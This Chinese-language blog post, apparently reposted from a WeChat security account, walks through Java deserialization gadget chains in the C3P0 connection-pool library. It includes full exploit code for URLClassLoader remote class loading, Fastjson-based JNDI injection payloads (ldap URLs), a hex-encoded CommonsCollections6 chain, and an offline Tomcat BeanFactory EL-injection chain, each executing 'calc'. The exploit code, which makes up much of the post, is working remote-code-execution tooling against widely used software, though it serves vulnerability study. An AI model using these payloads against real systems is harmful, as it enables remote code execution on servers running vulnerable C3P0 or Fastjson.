Java 反序列化之 C3P0 链学习

0x01 前言

再多打一点基础吧，后续打算先看一看 XStream，Weblogic，strusts2 这些个

0x02 C3P0 组件介绍

C3P0 是一个开源的 JDBC 连接池，它实现了数据源和 JNDI 绑定，支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有 Hibernate，Spring 等。

JDBC 是 Java DataBase Connectivity 的缩写，它是 Java 程序访问数据库的标准接口。

使用Java程序访问数据库时，Java 代码并不是直接通过 TCP 连接去访问数据库，而是通过 JDBC 接口来访问，而 JDBC 接口则通过 JDBC 驱动来实现真正对数据库的访问。

连接池类似于线程池，在一些情况下我们会频繁地操作数据库，此时Java在连接数据库时会频繁地创建或销毁句柄，增大资源的消耗。为了避免这样一种情况，我们可以提前创建好一些连接句柄，需要使用时直接使用句柄，不需要时可将其放回连接池中，准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

• • 简单来说，C3P0 属于 jdbc 的一部分，和 Druid 差不多

0x03 C3P0 反序列化漏洞

环境

jdk8u65

pom.xml 如下

<dependency><groupId>com.mchange</groupId><artifactId>c3p0</artifactId><version>0.9.5.2</version></dependency>

C3P0 反序列化三条 Gadgets

• • 在去复现链子之前，既然这是一个数据源的组件，那么大概率会存在的漏洞是 URLClassLoader 的类的动态加载，还有 Jndi 注入。

好叭看了其他师傅的文章才知道，C3P0 常见的利用方式有如下三种

• • URLClassLoader 远程类加载

• • JNDI 注入

• • 利用 HEX 序列化字节加载器进行反序列化攻击（第一次见，应该是我少见多怪了

我们还是以漏洞发现者的角度来复现一遍，尝试着能否少看一些其他师傅的文章，较为独立的找到链子。

C3P0 之 URLClassLoader 的链子

我们先想一想，既然是 URLClassLoader 的链子，什么场景下会用到 URLClassLoader 的链子呢？

我的第一想法是，获取数据源很可能是通过 URLClassLoader 的，事实证明我的这种想法非常愚蠢，因为获取数据源并不是获取一个类。当然，最终也没找到，不过也是有点收获的。

后面又想到了，可能是 Ref 这种类型的类，于是我又回头找了一下，但是因为 IDEA 未能搜索依赖库内的内容，所以就寄了，直接看了其他师傅的文章。

找到的类是 ReferenceableUtils，当中的 referenceToObject() 方法调用了 URLClassLoader 加载类的方法

最后还有类的加载 ———— instance()，我们的链子尾部就找好了。

继续往上找，应该是去找谁调用了 ReferenceableUtils.referenceToObject()

ReferenceIndirector 类的 getObject() 方法调用了 ReferenceableUtils.referenceToObject()，继续往上找

PoolBackedDataSourceBase#readObject() 调用了 ReferenceIndirector#getObject()，同时这也正好是一个入口类。

总结链子流程图如图

手写一遍 EXP 试试

先写 ReferenceableUtils.referenceToObject() 的 URLClassLoader 的 EXP。EXP 如下

publicclassRefToURLClassLoader {  publicstaticvoidmain(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NamingException, InstantiationException {  Classclazz= Class.forName("com.mchange.v2.naming.ReferenceableUtils");  Referencereference=newReference("Calc", "Calc","http://127.0.0.1:9999/");  Methodmethod= clazz.getDeclaredMethod("referenceToObject", Reference.class, Name.class, Context.class, Hashtable.class);          method.setAccessible(true);  Objecto= method.invoke(clazz, reference, null, null, null);  Objectobject= method.invoke(o, null, null, null, null);      }  }

继续往前走，去看一下 PoolBackedDataSourceBase#readObject() 方法

这里的 readObject() 方法想要进到链子的下一步 getObject() 必须要满足一个条件，也就是传入的类必须要是 IndirectlySerialized 这个类。

在进行完这个判断之后

this.connectionPoolDataSource = (ConnectionPoolDataSource) o;

执行 .getObject() 方法的类从原本的 PoolBackedDataSourceBase 变成了 ConnectionPoolDataSource，但是 ConnectionPoolDataSource 是一个接口，并且没有继承 Serializable 接口，所以是无法直接用于代码里面的。

• • 这个地方有点卡住了，我们不妨去看一下 PoolBackedDataSourceBase#writeObject() 的时候，也就是序列化的时候做了什么

如图，直接包装了一层 indirector.indirectForm()

我们跟进 indirector.indirectForm() 看一看，当然这个地方的 indirector 实际上就是 com.mchange.v2.naming.ReferenceIndirector，等价于下面这条代码

ReferenceIndirector.indirectForm()

经过 ReferenceIndirector.indirectForm() 的 “淬炼”，我们直接看返回值是什么

这里返回的是 ReferenceSerialized 的一个构造函数，ReferenceSerialized 实际上是一个内部类

跟进一下继承的接口

发现它继承了 Serializable 接口，至此，包装的过程分析结束。现在我们拿到的 "ConnectionPoolDataSource" 外表上还是 "ConnectionPoolDataSource"，但是实际上已经变成了 "ReferenceSerialized" 这个类；事后师傅们可以自行打断点调试，这样体会的更深刻一些。

EXP 的编写也较为简单，值得一提的是，这里面有一个 getReference() 方法可以直接 new 一个 Reference 对象。

通过反射修改 connectionPoolDataSource 属性值为我们的恶意 ConnectionPoolDataSource 类

C3P0 之 JNDI 注入

虽然是误打误撞看到的，也是失败的，但是依然有价值。后面看了枫师傅（https://goodapple.top/）的博客，发现这里居然还是可以利用的，简直太强了。

• • 其实是在寻找上一条 Gadget 的时候发现的

位置在这个地方 com.mchange.v2.naming.ReferenceIndirector

它的 getObject() 方法里面有 initialContext.lookup()

所以我尝试了一下发现几个问题，虽然是坑吧，但是这个坑我更愿意称之为尝试。

首先这里，我们如果要触发 JNDI 注入，那么肯定需要控制 contextName 这个属性值，结果好巧不巧，这个属性值是一个类

既然是一个类，就不能直接赋给字符串对象，然后我尝试了它接口的实现类，发现不行，只能是自己这个接口；这利用面感觉太小太小了，很难挖；所以我这里就放弃了。

• • 也挂一手失败的 EXP 吧

publicclassTest {  publicstaticvoidmain(String[] args) throws ClassNotFoundException, NoSuchMethodException, NoSuchFieldException, IllegalAccessException, InstantiationException, InvocationTargetException, InvalidNameException {  Classclazz= Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");  Methodmethod= clazz.getDeclaredMethod("getObject");  FieldContextField= clazz.getDeclaredField("contextName");          ContextField.setAccessible(true);  DnsNamednsName=newDnsName();          ContextField.set(dnsName,dnsName);  Objecto= method.invoke(clazz);          method.invoke(o);      }  }

挺有意思的一次尝试，哈哈哈哈。

这条链子是基于 Fastjson 链子的，也就是说，是 Fastjson 的某一条链

我们还是以漏洞发现者的思维去寻找，在库中全局搜索 Jndi，看看是否有收获

点开第一个试一下，接着在这个类当中找 jndi 关键词，看到了这个方法：dereference()

• • 在第 112 行与第 114 行，有非常惹人注目的 ctx.lookup()

这里被 lookup() 的变量是 jndiName，跟进去看一下 jndiName 是什么

jndiName 是由 this.getJndiName() 搞来的，跟进看一看 getJndiName() 方法

这个方法做了一件什么事呢？它判断了拿进来的 jndiName 是不是 Name 的类型，如果是就返回 ((Name) jndiName).clone()，若不是就返回 String；回想起我前文挖洞失败的那个经历，不就是因为传参是一个对象所以无法利用吗！

我这里的运气非常好，第一次找就找到了这个漏洞类

回到前面，我们看一下 dereference() 方法，是否允许我们传入一个 String 类型的参数

至此，链子的尾部已经是没问题的了，向上找可用的地方

同一个类下的 inner() 方法调用了它，继续往上找

这里有非常多的 getter/setter 方法，已经是满足作为 fastjson 调用链的条件了，但是对于选择上来说，我们选最简单的 setLoginTimeout() 方法，因为它的传参只需要我们传入一个整数即可。

我觉得这里已经可以写 EXP 了，但是看到有其他师傅的文章分析的意思是：还要继续向上找，可能是因为这个 JndiRefForwardingDataSource 类是 default 的类，觉得利用面还是不够大吧，我个人觉得从攻击的角度上来说是都可以的，后续在写 EXP 的环节也会把这个写进去。

• • 如果要继续网上找的话，还有一个是可以利用的类

再向上找可能还是可以，还能利用，但已经完全没必要了。因为黑命单加的都是大类，如果简短的链子被 ban 了，再深的链子也是被 ban 的。

先导入 fastjson 的包，就先导 1.2.24 的吧，因为 1.2.25 版本的 fastjson 当中就已经把 com.mchange 包加入了黑名单里面。

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency>

JndiRefForwardingDataSource 的 EXP 如下

package JNDIVul;  import com.alibaba.fastjson.JSON;  // JndiRefForwardingDataSource 类的直接 EXP 调用  publicclassJndiForwardingDataSourceEXP {  publicstaticvoidmain(String[] args) {  Stringpayload="{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource"," +  ""jndiName":"ldap://127.0.0.1:1230/remoteObject","LoginTimeout":"1"}";          JSON.parse(payload);      }  }

因为是 default 作用域的类，所以不可以直接 new，这里我们直接用 fastjson 的方式去调

JndiRefConnectionPoolDataSource 的 EXP 也大同小异，因为这是个 public 为作用域的类，我们可以先通过这种方式测试一下链子的可用性。

publicclassJndiRefConnectionPoolDataSourceTest {  publicstaticvoidmain(String[] args) throws PropertyVetoException, SQLException {  JndiRefConnectionPoolDataSourcejndiRefConnectionPoolDataSource=newJndiRefConnectionPoolDataSource();          jndiRefConnectionPoolDataSource.setJndiName("ldap://127.0.0.1:1230/remoteObject");          jndiRefConnectionPoolDataSource.setLoginTimeout(1);      }  }

• • 用 fastjson 打也比较简单

publicclassJndiRefConnectionPoolDataSourceEXP {  publicstaticvoidmain(String[] args) {  Stringpayload="{"@type":"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource"," +  ""jndiName":"ldap://127.0.0.1:1230/remoteObject","LoginTimeout":"1"}";          JSON.parse(payload);      }  }

成功

C3P0 之 hexbase 攻击利用

• • 这个点因为之前从来没有接触到过，所以跟着其他师傅的文章学习一下，同时这一种利用方式也是二次反序列化的利用之一。

这条链子能成立的根本原因是，有一个 WrapperConnectionPoolDataSource 类，它能够反序列化一串十六进制字符串

链子首部是在 WrapperConnectionPoolDataSource 类的构造函数中，如图

在给 userOverrides 赋值的时候，用的是 C3P0ImplUtils.parseUserOverridesAsString() 这么一个操作，这个方法的作用就是反序列化 userOverride 把它这个 String 类型的东西转为对象。跟进

它这里把 hex 字符串读了进来，把转码后的结果保存到了 serBytes 这个字节流的数组中，这个字节流是拿去进行 SerializableUtils.fromByteArray() 的操作，值得注意的是，在解析过程中调用了 substring() 方法将字符串头部的 HASM_HEADER 截去了，因此我们在构造时需要在十六进制字符串头部加上 HASM_HEADER，并且会截去字符串最后一位，所以需要在结尾加上一个;

SerializableUtils#fromByteArray() 调用了 SerializableUtils#deserializeFromByteArray，跟进，看到了反序列化的操作 ———— readObject()

• • 因为我们在链子的第一步的时候，看到传入的参数是 this.getUserOverridesAsString()，所以用 Fastjson 的链子打会很简单。

这里我们需要写一个构造 hex 的 EXP，调用之前学 CC 链就可以

EXP 如下

package hexBase;  import com.alibaba.fastjson.JSON;  import org.apache.commons.collections.Transformer;  import org.apache.commons.collections.functors.ChainedTransformer;  import org.apache.commons.collections.functors.ConstantTransformer;  import org.apache.commons.collections.functors.InvokerTransformer;  import org.apache.commons.collections.keyvalue.TiedMapEntry;  import org.apache.commons.collections.map.LazyMap;  import java.beans.PropertyVetoException;  import java.io.ByteArrayOutputStream;  import java.io.IOException;  import java.io.ObjectOutputStream;  import java.io.StringWriter;  import java.lang.reflect.Field;  import java.util.HashMap;  import java.util.Map;  publicclassHexBaseFastjsonEXP {  //CC6的利用链  publicstatic Map CC6() throws NoSuchFieldException, IllegalAccessException {  //使用InvokeTransformer包装一下   Transformer[] transformers = newTransformer[]{  newConstantTransformer(Runtime.class),  newInvokerTransformer("getMethod", newClass[]{String.class, Class[].class}, newObject[]{"getRuntime", null}),  newInvokerTransformer("invoke", newClass[]{Object.class, Object[].class}, newObject[]{null, null}),  newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"calc"})          };  ChainedTransformerchainedTransformer=newChainedTransformer(transformers);          HashMap<Object, Object> hashMap = newHashMap<>();  MaplazyMap= LazyMap.decorate(hashMap, newConstantTransformer("five")); // 防止在反序列化前弹计算器  TiedMapEntrytiedMapEntry=newTiedMapEntry(lazyMap, "key");          HashMap<Object, Object> expMap = newHashMap<>();          expMap.put(tiedMapEntry, "value");          lazyMap.remove("key");  // 在 put 之后通过反射修改值   Class<LazyMap> lazyMapClass = LazyMap.class;  FieldfactoryField= lazyMapClass.getDeclaredField("factory");          factoryField.setAccessible(true);          factoryField.set(lazyMap, chainedTransformer);  return expMap;      }  staticvoidaddHexAscii(byte b, StringWriter sw)      {  intub= b & 0xff;  inth1= ub / 16;  inth2= ub % 16;          sw.write(toHexDigit(h1));          sw.write(toHexDigit(h2));      }  privatestaticchartoHexDigit(int h)      {  char out;  if (h <= 9) out = (char) (h + 0x30);  else out = (char) (h + 0x37);  //System.err.println(h + ": " + out);  return out;      }  //将类序列化为字节数组  publicstaticbyte[] tobyteArray(Object o) throws IOException {  ByteArrayOutputStreambao=newByteArrayOutputStream();  ObjectOutputStreamoos=newObjectOutputStream(bao);          oos.writeObject(o);  return bao.toByteArray();      }  //字节数组转十六进制  publicstatic String toHexAscii(byte[] bytes)      {  intlen= bytes.length;  StringWritersw=newStringWriter(len * 2);  for (inti=0; i < len; ++i)              addHexAscii(bytes[i], sw);  return sw.toString();      }  publicstaticvoidmain(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {  Stringhex= toHexAscii(tobyteArray(CC6()));          System.out.println(hex);  //Fastjson<1.2.47  Stringpayload="{" +  ""1":{" +  ""@type":"java.lang.Class"," +  ""val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"" +  "}," +  ""2":{" +  ""@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"," +  ""userOverridesAsString":"HexAsciiSerializedMap:"+ hex + ";"," +  "}" +  "}";          JSON.parse(payload);      }  }

在低版本 Fastjson 的情况下，实际上也可以使用下面的 Payload

String payload = "{" +        ""@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"," +        ""userOverridesAsString":"HexAsciiSerializedMap:"+ hex + ";"," +        "}";

• • 断点位置如图

因为我们第一次 Fastjson 拿进去打的是空，是用来加载的，第二次的 payload 是执行，所以可以直接跳过第一次的加载。

当第二次 Fastjson 进来的时候，就有了

在过了 substring 这一步之后，我们看到前面的：HexAsciiSerializedMap: 都无了，现在加载进来的才是真正的 hex 内容

接着，把 hex 的内容转化为了 bytes 字节码

下一步，进行反序列化

跟进

成功弹出计算器

• • 在上文 EXP 的编写中，我提到了 "在低版本 Fastjson 的情况下，实际上也可以使用下面的 Payload"

这到底是怎么一回事儿呢

实际上 Fastjson 初始化 WrapperConnectionPoolDataSource 类时，userOverridesAsString 属性是空的，要想进行反序列化操作，必须先给其赋值。理论上来说，要想解析 userOverridesAsString 属性，至少需要调用两次构造函数。

我们来调试看一下

• • 断点依旧是同一个位置，开始调试

惊奇的发现，userOverrideAsString 一开始为 null，但是经过一轮之后，变成了 hex；这到底是为什么呢？我们可以去到 WrapperConnectionPoolDataSourceBase#setUserOverridesAsString 里面去看一看

不妨在这个地方下个断点，然后调试一下。

师傅们调试的时候会发现，这个

setUserOverridesAsString() 的运行逻辑大致是这样的，首先把之前为 null 的 userOverridesAsString 赋值给 oldVal，接着判断这两个是否相等，或者是否都为 null，如果不满足这个条件，就把新的值赋给 userOverridesAsString，如图

后续的过程和前面一样，就不再分析了。

0x04 C3P0 链子的不出网利用

这一种攻击方式是向枫师傅（https://goodapple.top/archives/1749）学到的

不论是 URLClassLoader 加载远程类，还是 JNDI 注入，都需要目标机器能够出网。

而加载 Hex 字符串的方式虽然不用出网，但却有 Fastjson 等的相关依赖。那么如果目标机器不出网，又没有 Fastjson 依赖的话，C3P0 链又该如何利用呢？

• • 关于 Java 的链子，如何不出网利用一直是一个很有趣的话题，也是很有意思的攻击面。

在 Jndi 高版本利用中，我们可以加载本地的 Factory 类进行攻击，而利用条件之一就是该工厂类至少存在一个 getObjectInstance() 方法。比如通过加载 Tomcat8 中的 org.apache.naming.factory.BeanFactory 进行 EL 表达式注入；关于 EL 表达式注入可以看这篇 Java 之 EL 表达式注入

先导入依赖

<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>8.5.0</version></dependency><dependency><groupId>org.apache.tomcat.embed</groupId><artifactId>tomcat-embed-el</artifactId><version>8.5.15</version></dependency>

C3P0 链子的不出网利用分析与 EXP

已经确定是想通过 EL 表达式注入的方式攻击了，我们需要先选择攻击的链子。

Jndi 的链子比较难，限制非常多，而且是不出网的利用，所以 pass 了；

URLClassLoader 的链子是可行的，只需要我们把之前 URLClassLoader 的 EXP 进行一些修改即可。

HexBase 的链子也是不可行的，因为它是基于 Fastjson 的一条链子。

EXP 如下

package NoNetUsing;  import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;  import org.apache.naming.ResourceRef;  import javax.naming.NamingException;  import javax.naming.Reference;  import javax.naming.Referenceable;  import javax.naming.StringRefAddr;  import javax.sql.ConnectionPoolDataSource;  import javax.sql.PooledConnection;  import java.io.*;  import java.lang.reflect.Field;  import java.sql.SQLException;  import java.sql.SQLFeatureNotSupportedException;  import java.util.logging.Logger;  publicclassNoAccessEXP {  publicstaticclassLoader_RefimplementsConnectionPoolDataSource, Referenceable {  @Overridepublic Reference getReference() throws NamingException {  ResourceRefresourceRef=newResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);              resourceRef.add(newStringRefAddr("forceString", "faster=eval"));              resourceRef.add(newStringRefAddr("faster", "Runtime.getRuntime().exec("calc")"));  return resourceRef;          }  @Overridepublic PooledConnection getPooledConnection() throws SQLException {  returnnull;          }  @Overridepublic PooledConnection getPooledConnection(String user, String password) throws SQLException {  returnnull;          }  @Overridepublic PrintWriter getLogWriter() throws SQLException {  returnnull;          }  @OverridepublicvoidsetLogWriter(PrintWriter out) throws SQLException {          }  @OverridepublicvoidsetLoginTimeout(int seconds) throws SQLException {          }  @OverridepublicintgetLoginTimeout() throws SQLException {  return0;          }  @Overridepublic Logger getParentLogger() throws SQLFeatureNotSupportedException {  returnnull;          }      }  //序列化  publicstaticvoidserialize(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {  //反射修改connectionPoolDataSource属性值  PoolBackedDataSourceBasepoolBackedDataSourceBase=newPoolBackedDataSourceBase(false);  Classcls= poolBackedDataSourceBase.getClass();  Fieldfield= cls.getDeclaredField("connectionPoolDataSource");          field.setAccessible(true);          field.set(poolBackedDataSourceBase,c);  //序列化流写入文件  FileOutputStreamfos=newFileOutputStream(newFile("ser.bin"));  ObjectOutputStreamoos=newObjectOutputStream(fos);          oos.writeObject(poolBackedDataSourceBase);      }  //反序列化  publicstaticvoidunserialize() throws IOException, ClassNotFoundException {  FileInputStreamfis=newFileInputStream(newFile("ser.bin"));  ObjectInputStreamobjectInputStream=newObjectInputStream(fis);          objectInputStream.readObject();      }  publicstaticvoidmain(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {  Loader_Refloader_ref=newLoader_Ref();          serialize(loader_ref);          unserialize();      }  }

把原来 URLClassLoader 的地方修改成 EL 表达式的命令执行即可。

C3P0 链子的不出网利用调试

• • 简单调试理解一下。

先把断点下在 BeanFactory 的 getObjectInstance() 方法下，因为这里是一定被调用到的。

此处，我们可以看到之前的调用链，如图

我们去到 readObject() 方法的地方加一个断点，再重新跑一遍，简单调试一下，我们就可以看到这是一个 URLClassLoader 的链子。

• • 此处进行了命令执行的操作

0x05 小结

C3P0 这条链子分析起来还是不难，建议师傅们可以动手去尝试一个个类看一下，看哪里可能会存在有漏洞。

同时 C3P0 链的价值也是非常高的，C3P0 的包在实战环境中除CommonsCollections、CommonsBeanutiles 以外遇到最多的 JAR 包，其中一部分 C3P0 是被 org.quartz-scheduler:quartz 所依赖进来的。

关于前文提到的 “误打误撞看到的一处伪 JNDI 注入，失败告终”，后续文章会仔细讲这一片段。对应的有一道例题 Dest0g3 520迎新赛——ljctr（https://buuoj.cn/match/matches/109/challenges#ljctr）

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原文始发于微信公众号（蚁景网安）：Java 反序列化之 C3P0 链学习